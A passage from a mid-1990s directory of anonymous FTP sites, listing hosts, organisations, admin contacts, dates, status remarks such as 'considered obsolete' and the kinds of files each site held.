+Server : +System : +URL : ftp://emunix.emich.edu/ +Comment: User anonymous unknown +Files : + +Site : eugene.gal.utexas.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : eugene; +Admin : perry@eugene.gal.utexas.edu (John Perry) +Organ : University of Texas - Galveston, Texas, Medical Branch +Server : +System : Unix +URL : ftp://eugene.gal.utexas.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : anti-virus utilities, mirror of Simtel's pub/msdos/virus directory + +Site : expo.lcs.mit.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : x.org +Admin : postmaster@x.org +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts, + Laboratory of Computer Sciences +Server : +System : +URL : ftp://expo.lcs.mit.edu/ +Comment: superseded by ftp.x.org +Files : X Windows related + +Site : fg.sei.cmu.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, + Software Engineering Institute (SEI) +Server : +System : +URL : ftp://fg.sei.cmu.edu/ +Comment: Problem: Failed to get host information; files moved to + ftp.sei.cmu.edu I think +Files : Serpent user interface management system + +Site : fiasko.rz-berlin.mpg.de +Country: Germany +GMT : +1 +Date : 23-Dec-93 +Source : Deutsche Anonyme FTP-server List +Alias : +Admin : mike@fiasko.rz-berlin.mpg.de (Michael Wesemann) +Organ : Max Planck Institute, Berlin +Server : +System : +URL : ftp://fiasko.rz-berlin.mpg.de/ +Comment: user anonymous unknown +Files : NeXT; doc; TeX + +Site : ftp.aii.com +Country: +GMT : +Date : 14-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://ftp.aii.com/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : MIDI files: tx16w + +Site : ftp.easi.net +Country: Netherlands +GMT : +1 +Date : 04-Jan-95 +Source : Perry.Rovers@kub.nl +Alias : nis.easi.net +Admin : +Organ : EASInet (IBM) +Server : +System : Unix +URL : ftp://ftp.easi.net/ +Comment: user anonymous unknown +Files : AIX3; AIXtips; docs; GIF; IBMinfo; Unix + +Site : ftp.fgb.mw.tu-muenchen.de +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : fgb1.fgb.mw.tu-muenchen.de +Admin : tw@fgb1.fgb.mw.tu-muenchen.de, dossi@fgb1.fgb.mw.tu-muenchen.de +Organ : Technische Universitaet Muenchen (Munich Institute of Technology), + Munich +Server : +System : +URL : ftp://ftp.fgb.mw.tu-muenchen.de/ +Comment: removed on request of Deutsche Anonyme FTP Server List admin +Files : + +Site : ftp.fie.gov +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : +Alias : fedix.fie.gov +Admin : +Organ : FIE +Server : +System : Unix +URL : ftp://ftp.fie.gov/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise]; also accessible through telnet to the same + system; index in FILE.LIST; subdirectories per agency; probably + also accessible through the WWW +Files : AFR; AGR; DOE; FAA; MIN; MOLIS; NAS; ONR + +Site : ftp.hartford.edu +Country: USA +GMT : -5 +Date : 01-Dec-94 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : ultrix +Admin : +Organ : +Server : +System : Unix (Ultrix 4.1) +URL : ftp://ftp.hartford.edu/ +Comment: User anonymous unknown +Files : Star Trek the Next Generation (STTNG) GIFs + +Site : ftp.ifs.hr +Country: Croatia +GMT : +1 +Date : 14-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : gopher.ifs.hr +Admin : +Organ : IFS +Server : gopher.ifs.hr +System : Unix +URL : ftp://ftp.ifs.hr/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : ftp.ipk.fhg.de +Country: Germany +GMT : +1 +Date : 24-Dec-93 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.ipk.fhg.de/ +Comment: user anonymous unknown +Files : + +Site : ftp.mathematik.uni-bielefeld.de +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : old ftp-list +Alias : math12.mathematik.uni-bielefeld.de +Admin : ftpmaster@ftp.mathematik.uni-bielefeld.de +Organ : Universitaet Bielefeld (University of Bielefeld), Bielefeld + Math dept. +Server : +System : +URL : ftp://ftp.mathematik.uni-bielefeld.de/ +Comment: removed on request of Deutsche Anonyme FTP Server List admin + Most things moved to ftp.uni-bielefeld.de, use that one instead; + Open 24 hours +Files : Computer algebra packages; GNU; TeX sources and styles; EMacs; + Lisp archive; X11 core and fixes + +Site : ftp.maths.warwick.ac.uk +Country: UK +GMT : 0 +Date : 19-Feb-95 +Source : Perry.Rovers@kub.nl +Alias : lomond.warwick.ac.uk +Admin : steve@maths.warwick.ac.uk +Organ : Warwick University, Coventry, Mathematics Institute +Server : +System : Unix +URL : ftp://ftp.maths.warwick.ac.uk/ +Comment: transactions are logged; most stuff mirrored from ftp.doc.ic.ac.uk, + see mirror.config [interesting] +Files : acrobat; bible; gap; GNU; images; lyrics + (Pink Floyd); maps (hanauma, probably from sepftp.stanford.edu); + sources (audio, benchmarks, c, c++, editors, expect, games, geom + (geom.umn.edu), gnu, graphics, lang, mail, maths, misc, networks, + perl, security, sgi, shells, sunview, tex, unix, x); symposia + +Site : ftp.telematik.informatik.uni-karlsruhe.de +Country: Germany +GMT : +1 +Date : 09-Feb-94 +Source : Deutsche Anonyme FTP-Server List +Alias : t500il.telematik.informatik.uni-karlsruhe.de +Admin : +Organ : Universitaet Karlsruhe (University of Karlruhe), Karlsruhe, CS dept. +Server : +System : +URL : ftp://ftp.telematik.informatik.uni-karlsruhe.de/ +Comment: removed on request of Deutsche Anonyme FTP Server List admin +Files : + +Site : ftp.unh.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : nic.unh.edu, mozz.unh.edu +Admin : gerry.pregent@unh.edu +Organ : University of New Hampshire, , New Hampshire +Server : +System : Unix (Ultrix 4.1) +URL : ftp://ftp.unh.edu/ +Comment: max. 5 users; User anonymous unknown +Files : Netrek for Ultrix; Ossenbruggen; submissions: aber, BBS-LAN, cbook, + Integral Dutch Course (moved to ftp.iaehv.nl /pub/users/perry), + jms1, NHBBS.lst, tpc; wei + +Site : ftp.uni-sb.de +Country: Germany +GMT : +1 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Universitaet des Saarlandes (University of the Saarland), + Saarbruecken +Server : +System : +URL : ftp://ftp.uni-sb.de/ +Comment: +Files : files are on other ftp servers: ftp.rz.uni-sb.de (MSDOS), + ftp.cs.uni-sb.de (Unix), ftp.coli.uni-sb.de (Amiga/Atari/Toy) + +Site : ftpvms.ira.uka.de +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : +Organ : Universitaet Karlsruhe (University of Karlsruhe), Karlsruhe +Server : +System : +URL : ftp://ftpvms.ira.uka.de/ +Comment: removed on request of Deutsche Anonyme FTP Server List admin + Problem: I/O error on network device; update on the list: + no longer available +Files : VMS software + +Site : garfield.catt.ncsu.edu +Country: USA +GMT : -5 +Date : 10-Feb-94 +Source : old ftp-list +Alias : garfield; +Admin : +Organ : North Carolina State University, Raleigh, North Carolina +Server : +System : Unix +URL : ftp://garfield.catt.ncsu.edu/ +Comment: Limits number of users, but doesn't say how many; has been + superseded by ftp.catt.ncsu.edu +Files : Win3; MSDOS; OS/2; graphics; GIF; sounds; ham radio; + alt.radio.scanner + +Site : ginger.cs.berkeley.edu +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : dwilmot@crl.com (Dick Wilmot) {posting} +Alias : +Admin : +Organ : University of Berkeley, Berkeley, California, CS dept. +Server : +System : Unix +URL : ftp://ginger.cs.berkeley.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : RAID papers; tech-reports + +Site : girch1.hsch.utexas.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Texas - Austin, Austin, Texas +Server : +System : +URL : ftp://girch1.hsch.utexas.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : Physiological research info and programs + +Site : grip.cis.upenn.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : ftp.cis.upenn.edu +Admin : +Organ : University of Pennsylvania, , Pennsylvania +Server : +System : +URL : ftp://grip.cis.upenn.edu/ +Comment: User anonymous unknown +Files : XV image viewing & manipulation tool + +Site : gw.syr.ge.com +Country: USA +GMT : +Date : 14-Dec-94 +Source : VAX Software List +Alias : +Admin : +Organ : General Electric Corp. +Server : +System : +URL : ftp://gw.syr.ge.com/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : VMS software + +Site : halgania.maths.uwa.oz.au +Country: Australia +GMT : +8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Western Australia +Server : +System : +URL : ftp://halgania.maths.uwa.oz.au/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : hallc1.cebaf.gov +Country: USA +GMT : +Date : 06-Jan-94 +Source : old ftp-list; admin +Alias : +Admin : saw@hallc1.cebaf.gov +Organ : +Server : +System : Unix (Ultrix 4.1) +URL : ftp://hallc1.cebaf.gov/ +Comment: files are on ftp.cac.psu.edu +Files : genealogy + +Site : handel.cs.colostate.edu +Country: USA +GMT : -7 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Colorado State University, , Colorado +Server : +System : +URL : ftp://handel.cs.colostate.edu/ +Comment: Guest login not permitted +Files : + +Site : helens.stanford.edu +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Stanford University, Menlo Park, California +Server : +System : +URL : ftp://helens.stanford.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : kjv; sultrix; secure.tar.Z + +Site : hercules.csl.sri.com +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : SRI International +Server : +System : +URL : ftp://hercules.csl.sri.com/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : Handhelds latex-figures + +Site : hobbes.cs.umd.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Maryland, , Maryland, CS dept. +Server : +System : +URL : ftp://hobbes.cs.umd.edu/ +Comment: user anonymous unknown +Files : homebrew C compiler; Minix + +Site : hp5.mcs.kent.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Kent State University, , Ohio +Server : +System : +URL : ftp://hp5.mcs.kent.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : hpcom.rz.hu-berlin.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-server List +Alias : hub03.rz.hu-berlin.de +Admin : +Organ : , Berlin, CC +Server : +System : +URL : ftp://hpcom.rz.hu-berlin.de/ +Comment: removed on request of Deutsche Anonyme FTP Server List admin +Files : + +Site : hpserv1.cs.uit.no +Country: Norway +GMT : +1 +Date : 07-Jun-94 +Source : old ftp-list; bjoerns@stud.cs.uit.no (Bjoern Stabell) +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://hpserv1.cs.uit.no/ +Comment: superseded by ftp.cs.uit.no; Problem: Failed to get host information +Files : + +Site : hpserv1.uit.no +Country: Norway +GMT : +1 +Date : 07-Jun-94 +Source : old ftp-list; bjoerns@stud.cs.uit.no (Bjoern Stabell) +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://hpserv1.uit.no/ +Comment: superseded by ftp.cs.uit.no; Problem: Failed to get host information +Files : HP stuff; X11; Unix + +Site : hq.demos.su +Country: Russia +GMT : +2 +Date : 14-Dec-94 +Source : viv@rla.msk.su (Vladimir Ivanov) +Alias : +Admin : bad@demos.su +Organ : DEMOS +Server : ftpmail@hq.demos.su ; ms@demos.su (send "help") +System : +URL : ftp://hq.demos.su/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : Music; NET; News; RFC; arcers; astrology; books; databases; demo; + demos; esperanto; hosts; languages; Mac; maps; math; msdos; servers; + Unix + +Site : husc6.harvard.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Harvard University, Cambridge, Massachusetts +Server : +System : +URL : ftp://husc6.harvard.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : PC-IP; Apple2; UUmap copy; UCB Tahoe + +Site : hydra.helsinki.fi +Country: Finland +GMT : +2 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://hydra.helsinki.fi/ +Comment: Can't set guest privileges +Files : TeX; X; comp.sources: misc, sun, unix; comp.bugs.4bsd.ucb-fixes; + comp.binaries.ibm.pc + +Site : ibm1.cc.lehigh.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Lehigh University +Server : +System : VM/CMS +URL : ftp://ibm1.cc.lehigh.edu/ +Comment: Problem: I/O error on network device [considered obsolete until + proven otherwise] +Files : Virus-L programs/archives moved to ftp.cert.org & other sites + +Site : icsic.berkeley.edu +Country: USA +GMT : -8 +Date : 11-Feb-94 +Source : old ftp-list; update by stolcke@icsi.berkeley.edu (Andreas Stolcke) +Alias : +Admin : +Organ : University of California - Berkeley, Berkeley, California +Server : +System : +URL : ftp://icsic.berkeley.edu/ +Comment: Problem: Failed to get host information; superseded by + ftp.icsi.berkeley.edu +Files : + +Site : ipc1.rvs.uni-hannover.de +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : Deutsche Anonyme FTP-Server List; Acorn FTP list +Alias : ipc1.rrzn.uni-hannover.de +Admin : ftpadmin@ipc1.rrzn.uni-hannover.de, grueneberg@rrzn.uni-hannover.de + (Lutz Grueneberg) +Organ : Universitaet Hannover (University of Hannover), Hannover, CC +Server : +System : Unix (SunOS 4.1) +URL : ftp://ipc1.rvs.uni-hannover.de/ +Comment: removed on request of Deutsche Anonyme FTP Server List admin + user anonymous unknown; /pub/tex/machines/acorn/riscos +Files : Acorn mirror from ftp.uni-stuttgart.de + +Site : isca01.icaen.uiowa.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Iowa, , Iowa +Server : +System : +URL : ftp://isca01.icaen.uiowa.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : iskut.ucs.ubc.ca +Country: Canada +GMT : +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of Britsh Columbia, , British Columbia +Server : +System : +URL : ftp://iskut.ucs.ubc.ca/ +Comment: User anonymous unknown +Files : + +Site : ix1.cc.utexas.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Texas - Austin, Austin, Texas, CC +Server : +System : +URL : ftp://ix1.cc.utexas.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : amiga + +Site : ix2.cc.utexas.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Texas - Austin, Austin, Texas, CC +Server : +System : +URL : ftp://ix2.cc.utexas.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : amiga + +Site : j.cc.purdue.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Purdue University, West-Lafayette, Indiana, CC +Server : +System : +URL : ftp://j.cc.purdue.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : comp.sources: unix, x, amiga; Elm; UUCP; comp.binaries: amiga, + sun + +Site : jarrah.maths.uwa.oz.au +Country: Australia +GMT : +8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Western Australia +Server : +System : +URL : ftp://jarrah.maths.uwa.oz.au/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : jhname.hcf.jhu.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Johns Hopkins University, Baltimore, Maryland +Server : +System : +URL : ftp://jhname.hcf.jhu.edu/ +Comment: User anonymous unknown +Files : sysV ports of BSD network stuff + +Site : kappa.rice.edu +Country: USA +GMT : -6 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Rice University, Houston, Texas +Server : +System : Unix (SunOS 4.1) +URL : ftp://kappa.rice.edu/ +Comment: User anonymous unknown +Files : X11R3; GNU for Sequent S27; + +Site : kolvi.hut.fi +Country: Finland +GMT : +2 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : santra.hut.fi +Admin : +Organ : Helsinki University of Technology, Helsinki +Server : +System : Unix (Ultrix 4.1) +URL : ftp://kolvi.hut.fi/ +Comment: User anonymous unknown +Files : kermit stuff; radio amateur stuff (ka9q etc.); MicroEmacs3.1; + packet radio + +Site : l.cc.purdue.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Purdue University, West-Lafayette, Indiana, CC +Server : +System : +URL : ftp://l.cc.purdue.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : latour.cs.colorado.edu +Country: USA +GMT : -7 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of Colorado - Boulder, Boulder, Colorado +Server : +System : Unix (SunOS 4.1) +URL : ftp://latour.cs.colorado.edu/ +Comment: This is a private workstation. there are no public anonymous + FTP files here [so why does he/she allow anonymous login?] +Files : resource discovery papers + +Site : lechenaultia.maths.uwa.oz.au +Country: Australia +GMT : +8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Western Australia +Server : +System : +URL : ftp://lechenaultia.maths.uwa.oz.au/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : lsiserv2.lsi.usp.br +Country: Brazil +GMT : -3 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Universidade de Sao Paulo (University of Sao Paulo), Sao Paulo +Server : +System : +URL : ftp://lsiserv2.lsi.usp.br/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : lyman.pppl.gov +Country: USA +GMT : +Date : 15-Dec-94 +Source : VAX Software List +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://lyman.pppl.gov/ +Comment: anonymous ftp moved to ftp.pppl.gov +Files : VMS software + +Site : lyu.fi +Country: Finland +GMT : +2 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://lyu.fi/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : Abermud; Amiga; Atari; Conquer; Etherprint; Knight; Larn; Mac; + Moria (Mac bins only); Nethack; ULarn; Unix + +Site : m9-520-1.mit.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts +Server : +System : +URL : ftp://m9-520-1.mit.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : xim utils + +Site : mach1.npac.syr.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Syracuse University, Syracuse, New York, North-East Parallel + Architectures Center +Server : +System : +URL : ftp://mach1.npac.syr.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : mandarin.mit.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts +Server : +System : Unix (Ultrix 4.1) +URL : ftp://mandarin.mit.edu/ +Comment: User anonymous unknown +Files : astro + +Site : mcsun.eu.net +Country: Netherlands +GMT : +1 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://mcsun.eu.net/ +Comment: The central European archive has moved to ftp.eu.net +Files : GNU; graphics; mail; misc network; znews; programming; ripe; + text proc utils; UUmap; windows; security; eurographics; + bootstrap + +Site : metaverse.com +Country: USA +GMT : +Date : 14-Dec-94 +Source : curryco@panix.com (Adam Curry) +Alias : +Admin : adam@metaverse.com +Organ : MetaVerse +Server : gopher and WWW +System : +URL : ftp://metaverse.com/ +Comment: use gopher or the WWW to access this site +Files : files from ftp.mtv.com + +Site : metro.ucc.su.oz.au +Country: Australia +GMT : +10 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Sydney University, Sydney +Server : +System : +URL : ftp://metro.ucc.su.oz.au/ +Comment: User anonymous unknown +Files : Inet Resource Guide + +Site : midgard.ucsc.edu +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of California - Santa Cruz, Santa Cruz, California +Server : +System : +URL : ftp://midgard.ucsc.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : amoeba; tr; US Constitution + +Site : mildred.lerc.nasa.gov +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : NASA +Server : +System : +URL : ftp://mildred.lerc.nasa.gov/ +Comment: user anonymous unknown +Files : + +Site : mims-iris.uwaterloo.ca +Country: Canada +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Waterloo, Waterloo +Server : +System : +URL : ftp://mims-iris.uwaterloo.ca/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : miriam.utah.edu +Country: USA +GMT : -7 +Date : 14-Dec-94 +Source : VAX Software List +Alias : +Admin : +Organ : University of Utah, Salt Lake City, Utah +Server : +System : +URL : ftp://miriam.utah.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : VMS software + +Site : mis1.mis.mcw.edu +Country: USA +GMT : +Date : 09-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://mis1.mis.mcw.edu/ +Comment: FTP no longer supported here: try post.its.mcw.edu +Files : DECUS UUCP; ANU-news + +Site : mondo.engin.umich.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Michigan, Ann Arbor, Michigan +Server : +System : +URL : ftp://mondo.engin.umich.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : mordred.cs.purdue.edu +Country: USA +GMT : -5 +Date : 29-Oct-94 +Source : hammer@cs.purdue.edu (Adam Hammer); old ftp-list +Alias : +Admin : +Organ : Purdue University, West-Lafayette, Indiana, CS dept. +Server : +System : Unix +URL : ftp://mordred.cs.purdue.edu/ +Comment: X11R5 Sources/fixes moved to ftp.cs.purdue.edu; no anonymous +Files : + +Site : moxie.oswego.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : State University of New York - Oswego, Oswego, New York +Server : +System : +URL : ftp://moxie.oswego.edu/ +Comment: Anonymous ftp on this host has been disabled, try cs.oswego.edu +Files : Material related to the Soviet Coup + +Site : msinic.gsfc.nasa.gov +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : NASA - Goddard Space Flight Center, Greenbelt, Maryland, +Server : +System : +URL : ftp://msinic.gsfc.nasa.gov/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : next.com +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : moat.next.com +Admin : +Organ : NeXT Computer +Server : +System : NeXT 2.1 +URL : ftp://next.com/ +Comment: files moved to ftp.next.com +Files : + +Site : nic.near.net +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : nearnet-us@nic.near.net +Organ : New England Academic & Research Network NIC +Server : +System : +URL : ftp://nic.near.net/ +Comment: the NEARNET FTP archive has been moved to ftp.near.net +Files : NEARnet info + +Site : nnsc.nsf.net +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : National Science Foundation Network +Server : +System : +URL : ftp://nnsc.nsf.net/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : Network Info; Internet Resource Guide + +Site : nro.cs.athabascau.ca +Country: Canada +GMT : +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://nro.cs.athabascau.ca/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : nuri.inria.fr +Country: France +GMT : +1 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : INRIA +Server : +System : +URL : ftp://nuri.inria.fr/ +Comment: the INRIA FTP archive has been moved to ftp.inria.fr +Files : X11R5; GNU + +Site : nymphaea.maths.uwa.oz.au +Country: Australia +GMT : +8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Western Australia +Server : +System : +URL : ftp://nymphaea.maths.uwa.oz.au/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : olearia.maths.uwa.oz.au +Country: Australia +GMT : +8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Western Australia +Server : +System : +URL : ftp://olearia.maths.uwa.oz.au/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : pearl.tufts.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Tufts University +Server : +System : VAX/VMS running Multinet +URL : ftp://pearl.tufts.edu/ +Comment: accepts anonymous but says ANONYMOUS ftp disallowed. considered + obsolete +Files : VMS goodies + +Site : phoibos.cs.kun.nl +Country: Netherlands +GMT : +1 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Katholieke Universiteit Nijmegen (Nijmegen University), Nijmegen, + CS dept. +Server : +System : +URL : ftp://phoibos.cs.kun.nl/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : ToalTex; rail; glammar; glass + +Site : piggy.ucsb.edu +Country: USA +GMT : -8 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of California - Santa Barbara, Santa Barbara, California +Server : +System : +URL : ftp://piggy.ucsb.edu/ +Comment: Anonymous FTP service moved to ftp.tcp.com +Files : Coherent + +Site : poincare.geom.umn.edu +Country: USA +GMT : -6 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of Minnesota, , Minnesota +Server : +System : +URL : ftp://poincare.geom.umn.edu/ +Comment: please use geom.umn.edu instead of poincare.geom.umn.edu; + can't set guest privileges +Files : Differential Geometry Stuff + +Site : pollux.lu.se +Country: Sweden +GMT : +1 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Lund University, Lund +Server : +System : +URL : ftp://pollux.lu.se/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : ftp-sites; graphics; Mac; network + +Site : postgres.berkeley.edu +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : nobozo.berkeley.edu, toe.cs.berkeley.edu +Admin : +Organ : University of California - Berkeley, Berkeley, California, CS dept. +Server : +System : +URL : ftp://postgres.berkeley.edu/ +Comment: The ftp server postgres.berkeley.edu no longer exists, try + tr-ftp.cs.berkeley.edu for tech reports, and + s2k-ftp.berkeley.edu for everything else including postgres, + multimedia or Sequoia 2000 related material +Files : University INGRES; graphics related programs and files + +Site : potemkin.cs.pdx.edu +Country: USA +GMT : -8 +Date : 01-Mar-94 +Source : johnj@ee.pdx.edu; old ftp-list +Alias : +Admin : +Organ : Portland State University, Portland, Oregon, CS dept. +Server : +System : Unix +URL : ftp://potemkin.cs.pdx.edu/ +Comment: considered obsolete, superseded by ftp.cs.pdx.edu +Files : + +Site : power.eee.ndsu.nodak.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : VAX Software List +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://power.eee.ndsu.nodak.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : VMS software + +Site : ps2zenger1.informatik.tu-muenchen.de +Country: Germany +GMT : +1 +Date : 14-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : +Organ : Technische Universitaet Muenchen (Munich Institute of Technology), + Munich, CS dept. +Server : +System : +URL : ftp://ps2zenger1.informatik.tu-muenchen.de/ +Comment: removed on request of Deutsche Anonyme FTP Server List admin + Problem: I/O error on network device, 